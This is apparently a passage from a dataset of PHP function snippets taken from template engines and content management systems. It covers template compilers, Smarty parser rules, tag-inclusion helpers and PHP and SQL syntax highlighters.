$tag_raw.='&quot;';\n\t\t\t\t\t\t\t$current_attribute_value.='\"';\n\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t} elseif (substr($comcode,$pos-1,6)=='&quot;')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='&quot;';\n\t\t\t\t\t\t\t$current_attribute_value.='&quot;';\n\t\t\t\t\t\t\t$pos+=6;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($comcode[$pos]=='\\\\')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='\\\\';\n\t\t\t\t\t\t\t$current_attribute_value.='\\\\';\n\t\t\t\t\t\t\t++$pos;\n\t\t\t\t\t\t} else $current_attribute_value.=$next;\n\t\t\t\t\t} else $current_attribute_value.=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t$tag_output->attach($continuation);\n\t$continuation='';\n\n\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t$tag_output->attach($close_list);\n\n\tif (($status!=CCP_NO_MANS_LAND) || (count($tag_stack)!=0))\n\t{\n\t\tif (!$lax)\n\t\t{\n\t\t\t$stack_top=array_pop($tag_stack);\n\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_BROKEN_END',is_null($stack_top)?$current_tag:$stack_top[0]),$pos,$comcode,$check_only);\n\t\t} else\n\t\t{\n\t\t\twhile (count($tag_stack)>0)\n\t\t\t{\n\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t/*if ($_last[0]=='title') Not sure about this\n\t\t\t\t{\n\t\t\t\t\t$_structure_sweep=false;\n\t\t\t\t\tbreak;\n\t\t\t\t}*/\n\t\t\t\t$embed_output=_do_tags_comcode($_last[0],$_last[1],$tag_output,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,NULL,NULL,$in_semihtml,$is_all_semihtml);\n\t\t\t\t$in_code_tag=false;\n\t\t\t\t$white_space_area=$_last[3];\n\t\t\t\t$in_separate_parse_section=$_last[4];\n\t\t\t\t$formatting_allowed=$_last[5];\n\t\t\t\t$textual_area=$_last[6];\n\t\t\t\t$tag_output=$_last[2];\n\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t$mindless_mode=$_last[7];\n\t\t\t\t$comcode_dangerous=$_last[8];\n\t\t\t\t$comcode_dangerous_html=$_last[9];\n\t\t\t}\n\t\t}\n\t}\n\n//\t$tag_output->left_attach('<div class=\"xhtml_validator_off\">');\n//\t$tag_output->attach('</div>');\n\n\treturn $tag_output;\n}", "function tag($name='',$content='',$attrs='')\n{\n return \"<${name} ${attrs}>${content}</${name}>\";\n}", "function we_include_tag_file($name){\n\t$fn = 'we_tag_' . $name;\n\n\t// as default: all tag_functions are in this file.\n\tif(function_exists($fn)){\n\t\t// do noting\n\t\treturn true;\n\t}\n\tif(file_exists(WE_INCLUDES_PATH . 'we_tags/' . $fn . '.inc.php')){\n\t\trequire_once (WE_INCLUDES_PATH . 'we_tags/' . $fn . '.inc.php');\n\t\treturn true;\n\t}\n\t//error check is only required for custom tags\n\tif(file_exists(WE_INCLUDES_PATH . 'we_tags/custom_tags/' . $fn . '.inc.php')){\n\t\trequire_once (WE_INCLUDES_PATH . 'we_tags/custom_tags/' . $fn . '.inc.php');\n\t\treturn function_exists($fn) ? true : parseError(sprintf(g_l('parser', '[tag_not_known]'), trim($name)));\n\t}\n\n\t$toolinc = '';\n\tif(we_tool_lookup::getToolTag($name, $toolinc, true)){\n\t\trequire_once ($toolinc);\n\t\treturn function_exists($fn) ? true : parseError(sprintf(g_l('parser', '[tag_not_known]'), trim($name)));\n\t}\n\tif(strpos(trim($name), 'if') === 0){ // this ifTag does not exist\n\t\techo parseError(sprintf(g_l('parser', '[tag_not_known]'), trim($name)));\n\t\treturn false;\n\t}\n\treturn parseError(sprintf(g_l('parser', '[tag_not_known]'), trim($name)));\n}", "function compile($code, $do_not_echo = false, $retvar = '')\n\t{\n\t\t$code = str_replace('\\\\', '\\\\\\\\', $code);\n\t\t$code = str_replace('\\'', '\\\\\\'', $code);\n\n\t\t// change template varrefs into PHP varrefs\n\n\t\t// This one will handle varrefs WITH namespaces\n\t\t$varrefs = array();\n\t\tpreg_match_all('#\\{(([a-z0-9\\-_]+?\\.)+?)([a-z0-9\\-_]+?)\\}#is', $code, $varrefs);\n\t\t$varcount = sizeof($varrefs[1]);\n\t\tfor ($i = 0; $i < $varcount; $i++)\n\t\t{\n\t\t\t$namespace = $varrefs[1][$i];\n\t\t\t$varname = $varrefs[3][$i];\n\t\t\t$new = $this->generate_block_varref($namespace, $varname);\n\n\t\t\t$code = str_replace($varrefs[0][$i], $new, $code);\n\t\t}\n\n\t\t// This will handle the remaining root-level varrefs\n\t\t$code = preg_replace('#\\{([a-z0-9\\-_]*?)\\}#is', '\\' . ( ( isset($this->_tpldata[\\'.\\'][0][\\'\\1\\']) ) ? $this->_tpldata[\\'.\\'][0][\\'\\1\\'] : \\'\\' ) . \\'', $code);\n\n\t\t// Break it up into lines.\n\t\t$code_lines = explode(\"\\n\", $code);\n\n\t\t$block_nesting_level = 0;\n\t\t$block_names = array();\n\t\t$block_names[0] = \".\";\n\n\t\t// Second: prepend echo ', append ' . \"\\n\"; to each line.\n\t\t$line_count = sizeof($code_lines);\n\t\tfor ($i = 0; $i < $line_count; $i++)\n\t\t{\n\t\t\t$code_lines[$i] = chop($code_lines[$i]);\n\t\t\tif (preg_match('#<!-- BEGIN (.*?) -->#', $code_lines[$i], $m))\n\t\t\t{\n\t\t\t\t$n[0] = $m[0];\n\t\t\t\t$n[1] = $m[1];\n\n\t\t\t\t// Added: dougk_ff7-Keeps templates from bombing if begin is on the same line as end.. I think. :)\n\t\t\t\tif ( preg_match('#<!-- END (.*?) -->#', $code_lines[$i], $n) )\n\t\t\t\t{\n\t\t\t\t\t$block_nesting_level++;\n\t\t\t\t\t$block_names[$block_nesting_level] = $m[1];\n\t\t\t\t\tif ($block_nesting_level < 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Block is not nested.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $n[1] . '_count = ( isset($this->_tpldata[\\'' . $n[1] . '.\\']) ) ? sizeof($this->_tpldata[\\'' . $n[1] . '.\\']) : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $n[1] . '_i = 0; $_' . $n[1] . '_i < $_' . $n[1] . '_count; $_' . $n[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// This block is nested.\n\n\t\t\t\t\t\t// Generate a namespace string for this block.\n\t\t\t\t\t\t$namespace = implode('.', $block_names);\n\t\t\t\t\t\t// strip leading period from root level..\n\t\t\t\t\t\t$namespace = substr($namespace, 2);\n\t\t\t\t\t\t// Get a reference to the data array for this block that depends on the\n\t\t\t\t\t\t// current indices of all parent blocks.\n\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, false);\n\t\t\t\t\t\t// Create the for loop code to iterate over this block.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $n[1] . '_count = ( isset(' . $varref . ') ) ? sizeof(' . $varref . ') : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $n[1] . '_i = 0; $_' . $n[1] . '_i < $_' . $n[1] . '_count; $_' . $n[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\n\t\t\t\t\t// We have the end of a block.\n\t\t\t\t\tunset($block_names[$block_nesting_level]);\n\t\t\t\t\t$block_nesting_level--;\n\t\t\t\t\t$code_lines[$i] .= '} // END ' . $n[1];\n\t\t\t\t\t$m[0] = $n[0];\n\t\t\t\t\t$m[1] = $n[1];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// We have the start of a block.\n\t\t\t\t\t$block_nesting_level++;\n\t\t\t\t\t$block_names[$block_nesting_level] = $m[1];\n\t\t\t\t\tif ($block_nesting_level < 2)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Block is not nested.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $m[1] . '_count = ( isset($this->_tpldata[\\'' . $m[1] . '.\\']) ) ? sizeof($this->_tpldata[\\'' . $m[1] . '.\\']) : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $m[1] . '_i = 0; $_' . $m[1] . '_i < $_' . $m[1] . '_count; $_' . $m[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// This block is nested.\n\n\t\t\t\t\t\t// Generate a namespace string for this block.\n\t\t\t\t\t\t$namespace = implode('.', $block_names);\n\t\t\t\t\t\t// strip leading period from root level..\n\t\t\t\t\t\t$namespace = substr($namespace, 2);\n\t\t\t\t\t\t// Get a reference to the data array for this block that depends on the\n\t\t\t\t\t\t// current indices of all parent blocks.\n\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, false);\n\t\t\t\t\t\t// Create the for loop code to iterate over this block.\n\t\t\t\t\t\t$code_lines[$i] = '$_' . $m[1] . '_count = ( isset(' . $varref . ') ) ? sizeof(' . $varref . ') : 0;';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . 'for ($_' . $m[1] . '_i = 0; $_' . $m[1] . '_i < $_' . $m[1] . '_count; $_' . $m[1] . '_i++)';\n\t\t\t\t\t\t$code_lines[$i] .= \"\\n\" . '{';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (preg_match('#<!-- END (.*?) -->#', $code_lines[$i], $m))\n\t\t\t{\n\t\t\t\t// We have the end of a block.\n\t\t\t\tunset($block_names[$block_nesting_level]);\n\t\t\t\t$block_nesting_level--;\n\t\t\t\t$code_lines[$i] = '} // END ' . $m[1];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// We have an ordinary line of code.\n\t\t\t\tif (!$do_not_echo)\n\t\t\t\t{\n\t\t\t\t\t$code_lines[$i] = 'echo \\'' . $code_lines[$i] . '\\' . \"\\\\n\";';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$code_lines[$i] = '$' . $retvar . '.= \\'' . $code_lines[$i] . '\\' . \"\\\\n\";'; \n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Bring it back into a single string of lines of code.\n\t\t$code = implode(\"\\n\", $code_lines);\n\t\treturn $code\t;\n\n\t}", "function yy_r31()\n {\n $this->_retvalue = 'ob_start(); ' . $this->compiler->compileTag($this->yystack[$this->yyidx + - 2]->minor, $this->yystack[$this->yyidx + 0]->minor) . ' echo ';\n $this->_retvalue .= $this->compiler->compileTag('Internal_Modifier', array(), array('modifier_list' => $this->yystack[$this->yyidx + - 1]->minor, 'value' => 'ob_get_clean()')) . ';';\n }", "function start_tag($tag, $pref, $nl, $extra = '')\n{\n tag($tag, 'start', $pref, $nl, $extra) ;\n}", "function yy_r32()\n {\n $this->_retvalue = 'ob_start(); ' . $this->compiler->compileTag($this->yystack[$this->yyidx + - 4]->minor, $this->yystack[$this->yyidx + 0]->minor, array('object_method' => $this->yystack[$this->yyidx + - 2]->minor)) . ' echo ';\n $this->_retvalue .= $this->compiler->compileTag('Internal_Modifier', array(), array('modifier_list' => $this->yystack[$this->yyidx + - 1]->minor, 'value' => 'ob_get_clean()')) . ';';\n }", "function HookIt($tag,$attr=\"\",$indenting=\"1\"){\n\t\t$this->clsTag($tag,$attr,$indenting);\n\t}", "function we_tag($name, $attribs = array(), $content = '', $internal = false){\n\t$edMerk = isset($GLOBALS['we_editmode']) ? $GLOBALS['we_editmode'] : '';\n\t//FIXME: do we support this????\n\t$user = weTag_getAttribute('user', $attribs, array(), we_base_request::STRING_LIST);\n\tif(defined('WE_PROFILER')){\n\t\t$bt = WE_PROFILER_54 ? debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 1) : debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);\n\t\t$prof = array('tag' => $name, 'line' => $bt[0]['line'], 'file' => $bt[0]['file'], 'time' => round((microtime(true) - WE_PROFILER), 5) . ' s', 'mem' => round(((memory_get_usage() / 1024))) . ' kB');\n\t\t$GLOBALS['we_profile'][] = $prof;\n\t\t//annotate tag, if possible\n\t\t$attribs['data-time'] = $prof['time'];\n\t\t$attribs['data-mem'] = $prof['mem'];\n\t\t$attribs['data-line'] = $prof['line'];\n\t\t$attribs['data-file'] = $prof['file'];\n\t}\n\t//make sure comment attribute is never shown\n\tswitch($name){\n\t\tcase 'setVar':\n\t\tcase 'xmlnode'://special handling inside tag setVar and xmlnode\n\t\t\t$attribs = removeAttribs($attribs, array('cachelifetime', 'comment', 'user'));\n\t\t\t$nameTo = '';\n\t\t\t$to = 'screen';\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t$to = weTag_getAttribute('to', $attribs, 'screen');\n\t\t\t$nameTo = weTag_getAttribute('nameto', $attribs, isset($attribs['name']) ? $attribs['name'] : '');\n\t\t\t$attribs = removeAttribs($attribs, array('cachelifetime', 'comment', 'to', 'nameto', 'user'));\n\n\t\t\t/* if to attribute is set, output of the tag is redirected to a variable\n\t\t\t * this makes only sense if tag output is equal to non-editmode */\n\t\t\tif($to != 'screen'){\n\t\t\t\t$GLOBALS['we_editmode'] = false;\n\t\t\t}\n\t}\n\n\t//make a copy of the name - this copy is never touched even not inside blocks/listviews etc.\n\tif(isset($attribs['name'])){\n\t\t$attribs['_name_orig'] = $attribs['name'];\n\t\t$attribs['name'] = we_tag_getPostName($attribs['name']);\n\t\tif(!empty($GLOBALS['we_editmode']) && ($GLOBALS['we_doc'] instanceof we_webEditionDocument)){\n\t\t\t$GLOBALS['we_doc']->addUsedElement($name, $attribs['name']);\n\t\t}\n\t}\n\n\tif($edMerk && $user && (!permissionhandler::hasPerm('ADMINISTRATOR'))){\n\t\tif(!in_array($_SESSION['user']['Username'], $user)){\n\t\t\t$GLOBALS['we_editmode'] = false;\n\t\t}\n\t}\n\n\tif(($foo = we_include_tag_file($name)) !== true){\n\t\treturn $foo;\n\t}\n\n\t$fn = 'we_tag_' . $name;\n\tswitch($fn){\n\t\tcase 'we_tag_setVar':\n\t\t\t$fn($attribs, $content, $internal);\n\t\t\t//nothing more to do don't waste time\n\t\t\treturn;\n\t\tdefault:\n\t\t\t$foo = $fn($attribs, $content, $internal);\n\t\t\t$GLOBALS['we_editmode'] = $edMerk;\n\t\t\treturn we_redirect_tagoutput($foo, $nameTo, $to);\n\t}\n}", "function php_highlight(&$code)\n\n{\n\n if(preg_match('#^(\\s*)(\\<\\?(php|))#i', $code, $open_tag, PREG_OFFSET_CAPTURE))\n\n {\n\n $code = substr($code, strlen($open_tag[0][0]));\n\n $open_tag = $open_tag[1][0].'<span class=\"php_tag\">'.htmlspecialchars($open_tag[2][0]).'</span>';\n\n }\n\n if(preg_match('#(\\?\\>)(\\s*)$#', $code, $end_tag, PREG_OFFSET_CAPTURE))\n\n {\n\n $code = substr($code, 0, -strlen($end_tag[0][0]));\n\n $end_tag = '<span class=\"php_tag\">'.htmlspecialchars($end_tag[1][0]).'</span>'.$end_tag[2][0];\n\n }\n\n \n\n $blocks = array(\n\n array(\n\n 'pattern' => '#\\?\\>(.*?)(\\<\\?(php()|(\\s))|($()))#ise',\n\n 'replacement' => '\\'<span class=\"php_tag\">?&gt;</span>\\'.block_background(html_highlight(str_replace(\\'\\\\\\\\\\\\\\\\\"\\', \\'\"\\',\\'$1\\')), \\'php_html\\').\\'<span class=\"php_tag\">\\'.htmlspecialchars(\\'$2\\').\\'</span>\\'',\n\n 'keepsuffix' => 4\n\n ),\n\n array(\n\n 'pattern' => \"#'\".GENERAL_BACKSLASH_ESC_PREG.\"'#se\",\n\n 'replacement' => 'parse_php_string_simple(\\'$0\\')',\n\n //'prefix' => '<span class=\"php_string\">', \n\n //'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => '#\"'.GENERAL_BACKSLASH_ESC_PREG.'\"#se',\n\n 'replacement' => '\\'<span class=\"php_string_d\">&quot;\\'.parse_php_string(\\'$1\\').\\'&quot;</span>\\''\n\n ),\n\n array(\n\n 'pattern' => \"#\\<\\<\\<(.+?)([\\n\\r])(.*?)([\\n\\r]\\\\1)#se\",\n\n 'replacement' => '\\'<span class=\"php_string_h\">&lt;&lt;&lt;$1$2\\'.parse_php_string(\\'$3\\').\\'$4</span>\\''\n\n ),\n\n array(\n\n 'pattern' => \"#/\\\\*(.*?)\\\\*/#s\",\n\n 'prefix' => '<span class=\"php_blockcomment\">', \n\n 'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => \"#//(.*?)[\\n\\r]#\",\n\n 'prefix' => '<span class=\"php_linecomment\">', \n\n 'suffix' => '</span>'\n\n ),\n\n );\n\n \n\n $secondaries = array(\n\n array(\n\n 'pattern' => '#(\\W|^)(\\.?[0-9][0-9a-zA-Z.]*)#',\n\n 'replacement' => '<span class=\"php_number\">$2</span>',\n\n 'keepprefix' => 1\n\n ),\n\n array(\n\n 'pattern' => '#([,\\[\\]\\{\\};=\\+\\-!%\\^&\\*\\(\\)<>|@.~])#',\n\n 'prefix' => '<span class=\"php_symbol\">',\n\n 'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => '#\\$[a-zA-Z_][a-zA-Z0-9_]*#',\n\n 'prefix' => '<span class=\"php_var\">',\n\n 'suffix' => '</span>'\n\n )\n\n );\n\n \n\n $kw = array(\n\n array(\n\n 'prefix' => '<span '.get_placeholder(8).'=\"php_keyword\">',\n\n 'suffix' => '</span>',\n\n 'keywords' => array('and','or','xor','__file__','__line__','array','as','break','case','cfunction','class','const','continue','declare','default','die','do','echo','else','elseif','empty','enddeclare','endfor','endforeach','endif','endswitch','endwhile','eval','exit','extends','for','foreach','function','global','if','include','include_once','isset','list','new','old_function','print','require','require_once','return','static','switch','unset','use','var','while','__function__','__class__','php_version','php_os','default_include_path','pear_install_dir','pear_extension_dir','php_extension_dir','php_bindir','php_libdir','php_datadir','php_sysconfdir','php_localstatedir','php_config_file_path','php_output_handler_start','php_output_handler_cont','php_output_handler_end','e_error','e_warning','e_parse','e_notice','e_core_error','e_core_warning','e_compile_error','e_compile_warning','e_user_error','e_user_warning','e_user_notice','e_all','true','false','bool','boolean','int','integer','float','double','real','string','array','object','resource','null','class','extends','parent','stdclass','directory','__sleep','__wakeup','interface','implements','abstract','public','protected','private')\n\n )\n\n );\n\n $code = generic_highlight($code, $blocks, $secondaries, array(), $kw);\n\n // put back end/start tags if necessary\n\n if(isset($open_tag) && is_string($open_tag))\n\n $code = $open_tag.$code;\n\n if(isset($end_tag) && is_string($end_tag))\n\n $code .= $end_tag;\n\n \n\n return $code;\n\n}", "public function addTagToPostInTheMiddle() {}", "function yy_r20(){if (!in_array($this->yystack[$this->yyidx + -3]->minor,array('if','elseif','while'))) {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -3]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -3]->minor,array('if condition'=>$this->yystack[$this->yyidx + -1]->minor)); }", "function compile2($code, $handle, $cache_file)\n\t{\n\t\t$code = $this->compile_code('', $code, XS_USE_ISSET);\n\t\tif($cache_file && !empty($this->use_cache) && !empty($this->auto_compile))\n\t\t{\n\t\t\t$res = $this->write_cache($cache_file, $code);\n\t\t\tif($handle && $res)\n\t\t\t{\n\t\t\t\t$this->files_cache[$handle] = $cache_file;\n\t\t\t}\n\t\t}\n\t\t$code = '?' . '>' . $code . '<' . '?php' . \"\\n\";\n\t\treturn $code;\n\t}", "function compile_tag_if($tag_args, $elseif)\n\t{\n\t\t// Tokenize args for 'if' tag.\n\t\tpreg_match_all('/(?:\n\t\t\t\"[^\"\\\\\\\\]*(?:\\\\\\\\.[^\"\\\\\\\\]*)*\" |\n\t\t\t\\'[^\\'\\\\\\\\]*(?:\\\\\\\\.[^\\'\\\\\\\\]*)*\\' |\n\t\t\t[(),] |\n\t\t\t[^\\s(),]+)/x', $tag_args, $match);\n\n\t\t$tokens = $match[0];\n\t\t$is_arg_stack = array();\n\n\t\tfor ($i = 0; $i < sizeof($tokens); $i++)\n\t\t{\n\t\t\t$token = &$tokens[$i];\n\n\t\t\tswitch ($token)\n\t\t\t{\n\t\t\t\tcase '!==':\n\t\t\t\tcase '===':\n\t\t\t\tcase '<<':\n\t\t\t\tcase '>>':\n\t\t\t\tcase '|':\n\t\t\t\tcase '^':\n\t\t\t\tcase '&':\n\t\t\t\tcase '~':\n\t\t\t\tcase ')':\n\t\t\t\tcase ',':\n\t\t\t\tcase '+':\n\t\t\t\tcase '-':\n\t\t\t\tcase '*':\n\t\t\t\tcase '/':\n\t\t\t\tcase '@':\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '==':\n\t\t\t\tcase 'eq':\n\t\t\t\t\t$token = '==';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '!=':\n\t\t\t\tcase '<>':\n\t\t\t\tcase 'ne':\n\t\t\t\tcase 'neq':\n\t\t\t\t\t$token = '!=';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '<':\n\t\t\t\tcase 'lt':\n\t\t\t\t\t$token = '<';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '<=':\n\t\t\t\tcase 'le':\n\t\t\t\tcase 'lte':\n\t\t\t\t\t$token = '<=';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '>':\n\t\t\t\tcase 'gt':\n\t\t\t\t\t$token = '>';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '>=':\n\t\t\t\tcase 'ge':\n\t\t\t\tcase 'gte':\n\t\t\t\t\t$token = '>=';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '&&':\n\t\t\t\tcase 'and':\n\t\t\t\t\t$token = '&&';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '||':\n\t\t\t\tcase 'or':\n\t\t\t\t\t$token = '||';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '!':\n\t\t\t\tcase 'not':\n\t\t\t\t\t$token = '!';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '%':\n\t\t\t\tcase 'mod':\n\t\t\t\t\t$token = '%';\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase '(':\n\t\t\t\t\tarray_push($is_arg_stack, $i);\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'is':\n\t\t\t\t\t$is_arg_start = ($tokens[$i-1] == ')') ? array_pop($is_arg_stack) : $i-1;\n\t\t\t\t\t$is_arg = implode(' ', array_slice($tokens, $is_arg_start, $i -\t$is_arg_start));\n\n\t\t\t\t\t$new_tokens = $this->_parse_is_expr($is_arg, array_slice($tokens, $i+1));\n\n\t\t\t\t\tarray_splice($tokens, $is_arg_start, sizeof($tokens), $new_tokens);\n\n\t\t\t\t\t$i = $is_arg_start;\n\n\t\t\t\tdefault:\n\t\t\t\t\tif (preg_match('#^((?:[a-z0-9\\-_]+\\.)+)?(\\$)?(?=[A-Z])([A-Z0-9\\-_]+)#s', $token, $varrefs))\n\t\t\t\t\t{\n\t\t\t\t\t\t$token = (!empty($varrefs[1])) ? $this->generate_block_data_ref(substr($varrefs[1], 0, -1), true, $varrefs[2]) . '[\\'' . $varrefs[3] . '\\']' : (($varrefs[2]) ? '$this->_tpldata[\\'DEFINE\\'][\\'.\\'][\\'' . $varrefs[3] . '\\']' : '$this->vars[\\'' . $varrefs[3] . '\\']');\n\t\t\t\t\t}\n\t\t\t\t\telseif (preg_match('#^\\.((?:[a-z0-9\\-_]+\\.?)+)$#s', $token, $varrefs))\n\t\t\t\t\t{\n\t\t\t\t\t\t// Allow checking if loops are set with .loopname\n\t\t\t\t\t\t// It is also possible to check the loop count by doing <!-- IF .loopname > 1 --> for example\n\t\t\t\t\t\t$blocks = explode('.', $varrefs[1]);\n\n\t\t\t\t\t\t// If the block is nested, we have a reference that we can grab.\n\t\t\t\t\t\t// If the block is not nested, we just go and grab the block from _tpldata\n\t\t\t\t\t\tif (sizeof($blocks) > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$block = array_pop($blocks);\n\t\t\t\t\t\t\t$namespace = implode('.', $blocks);\n\t\t\t\t\t\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\n\t\t\t\t\t\t\t// Add the block reference for the last child.\n\t\t\t\t\t\t\t$varref .= \"['\" . $block . \"']\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$varref = '$this->_tpldata';\n\n\t\t\t\t\t\t\t// Add the block reference for the last child.\n\t\t\t\t\t\t\t$varref .= \"['\" . $blocks[0] . \"']\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$token = \"sizeof($varref)\";\n\t\t\t\t\t}\n\t\t\t\t\telseif (!empty($token))\n\t\t\t\t\t{\n\t\t\t\t\t\t$token = '(' . $token . ')';\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t// If there are no valid tokens left or only control/compare characters left, we do skip this statement\n\t\tif (!sizeof($tokens) || (str_replace(array(' ', '=', '!', '<', '>', '&', '|', '%', '(', ')'), '', implode('', $tokens)) == ''))\n\t\t{\n\t\t\t$tokens = array('false');\n\t\t}\n\n\t\t$code = (($elseif) ? '} elseif (' : 'if (') . (implode(' ', $tokens) . ') { ');\n\n\t\treturn $code;\n\t}", "protected function compile()\n {\n // Backend mode\n if (TL_MODE == 'BE') {\n return $this->compileBackend('### Showcase Overview ###');\n }\n\n // Add folder navigation\n \\Input::setGet('showcase', \\Input::get('showcase'));\n\n if (!empty(\\Input::get('showcase'))) {\n return '';\n }\n\n // Add isotope JS library\n $GLOBALS['TL_JAVASCRIPT'][] = Environment::get('path').'/bundles/comoloshowcase/js/isotope.pkgd.min.js|static';\n $GLOBALS['TL_JAVASCRIPT'][] = Environment::get('path').'/bundles/comoloshowcase/js/isotope-script.js|static';\n\n $this->Template->categories = ShowcaseCategoryModel::findBy('pid', $this->showcase, ['order' => 'sorting ASC']);\n $this->Template->strShowcases = $this->parseShowcases();\n }", "function render_sc_myShortcode( $context ) {\n\tob_start();\n\t?>\n<div>Some: <?=$context['disp1']?></div>\n<div>Another: <?=$context['disp2']?></div>\n<?php\n\treturn ob_get_clean();\n}", "function yy_r28(){ \r\n if ($this->yystack[$this->yyidx + -9]->minor != 'foreach') {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -9]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -9]->minor,array('from'=>$this->yystack[$this->yyidx + -7]->minor,'item'=>$this->yystack[$this->yyidx + -1]->minor,'key'=>$this->yystack[$this->yyidx + -4]->minor)); }", "function yy_r25(){\r\n if ($this->yystack[$this->yyidx + -6]->minor != 'foreach') {\r\n $this->compiler->trigger_template_error (\"wrong syntax for tag \\\"\" . $this->yystack[$this->yyidx + -6]->minor . \"\\\"\"); \r\n }\r\n $this->_retvalue = $this->compiler->compileTag($this->yystack[$this->yyidx + -6]->minor,array('from'=>$this->yystack[$this->yyidx + -4]->minor,'item'=>$this->yystack[$this->yyidx + -1]->minor)); }", "function yy_r172()\n {\n if (empty($this->db_quote_code_buffer)) {\n $this->db_quote_code_buffer = \"ob_start();\\n\";\n }\n $this->db_quote_code_buffer .= $this->yystack[$this->yyidx + - 1]->minor->buffer;\n if ($this->block_nesting_level == count($this->compiler->_tag_stack)) {\n $this->prefix_number ++;\n $code = new Smarty_Compiler_Code();\n $code->iniTagCode($this->compiler);\n $code->formatPHP($this->db_quote_code_buffer . ' $_tmp' . $this->prefix_number . '=ob_get_clean();')->newline();\n $this->compiler->prefix_code[] = $code;\n $this->db_quote_code_buffer = '';\n $this->_retvalue = '$_tmp' . $this->prefix_number;\n } else {\n $this->_retvalue = false;\n }\n\n }", "function code ( $arguments = \"\" ) {\n $arguments = func_get_args ();\n $rc = new ReflectionClass('tcode');\n return $rc->newInstanceArgs ( $arguments );\n}", "function sql_highlight(&$code)\n\n{\n\n $code = strtr($code, array('\"\"' => get_placeholder(9), \"''\" => get_placeholder(10)));\n\n $blocks = array(\n\n array(\n\n 'pattern' => \"#(['\\\"`])(\\\\\\\\\\\\\\\\|.*?([^\\\\\\\\]|[^\\\\\\\\](\\\\\\\\\\\\\\\\)+)|)\\\\1#se\",\n\n //'replacement' => 'parse_c_string(\\'$0\\', \\'sql\\', \\'|&quot;&quot;|\\\\\\'\\\\\\'\\')'\n\n //'pattern' => \"#(['\\\"])(.*?([^\\\\\\\\]|(\\\\\\\\\\\\\\\\)+)|)\\\\1#s\",\n\n 'prefix' => '<span class=\"sql_string\">', \n\n 'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => \"#/\\\\*(.*?)\\\\*/#s\",\n\n 'prefix' => '<span class=\"sql_blockcomment\">', \n\n 'suffix' => '</span>'\n\n ),\n\n array(\n\n 'pattern' => \"#--(.*?)[\\n\\r]#\",\n\n 'prefix' => '<span class=\"sql_linecomment\">', \n\n 'suffix' => '</span>'\n\n 